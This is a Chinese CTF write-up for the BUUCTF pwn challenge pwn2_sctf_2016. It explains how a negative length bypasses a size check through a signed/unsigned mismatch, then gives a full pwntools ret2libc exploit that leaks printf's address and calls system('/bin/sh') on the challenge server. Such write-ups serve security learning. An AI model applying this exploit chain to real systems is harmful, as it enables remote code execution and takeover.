pwnlearning

BUUCTF | pwn2_sctf_2016

1.checksec
图片
有NX保护

2.IDA
图片

观察一下,发现v2的长度不能大于32,否则进入if语句,结束
点进get_n观察一下
图片
get_n会接收a2个长度的字符放到vuln函数的缓冲区内部,而a2是unsigned int,前面v2是int型,unsigned int是无符号整型,遇到-1就会变成unsigned int的最大值,利用这一点可以绕过判断发生溢出

3.没有现成sys函数,且有NX保护,要泄露libc基址

4.payload
payload1=b'a'(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
填充长度为0x2c+4,Call printf,返回main,打印printf的地址,got表真地址
payload2=b'a'
(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
不再赘述

5.找libc版本

图片
ubuntu16,在buu找到对应版本下载
图片
版本为libc-2.23.so

完整exp:

点击查看代码
from pwn import *    
from LibcSearcher import *
context.log_level='debug'
p=remote('node5.buuoj.cn',28828)
elf=ELF('./pwn2_sctf_2016')

printf_plt=elf.plt['printf']
printf_got=elf.got['printf']
main=elf.sym['main']

p.recvuntil('How many bytes do you want me to read? ')
p.sendline('-1')
p.recvuntil('\n')
payload1 = b'a'*(0x2c+4)+p32(printf_plt)+p32(main)+p32(printf_got)
p.sendline(payload1)
p.recvuntil('\n')
printf_addr=u32(p.recv(4))

libc = ELF('./libc-2.23.so')
libc_base=printf_addr-libc.symbols['printf']
system=libc_base+libc.symbols['system']
bin_sh=libc_base+libc.search('/bin/sh').__next__()

p.recvuntil('How many bytes do you want me to read? ')
p.sendline('-1')
p.recvuntil('\n')
payload=b'a'*(0x2c+4)+p32(system)+p32(main)+p32(bin_sh)
p.sendline(payload)

p.interactive()

posted on 2025-07-24 17:06  邪恶的帽子  阅读(53)  评论(0)    收藏  举报

导航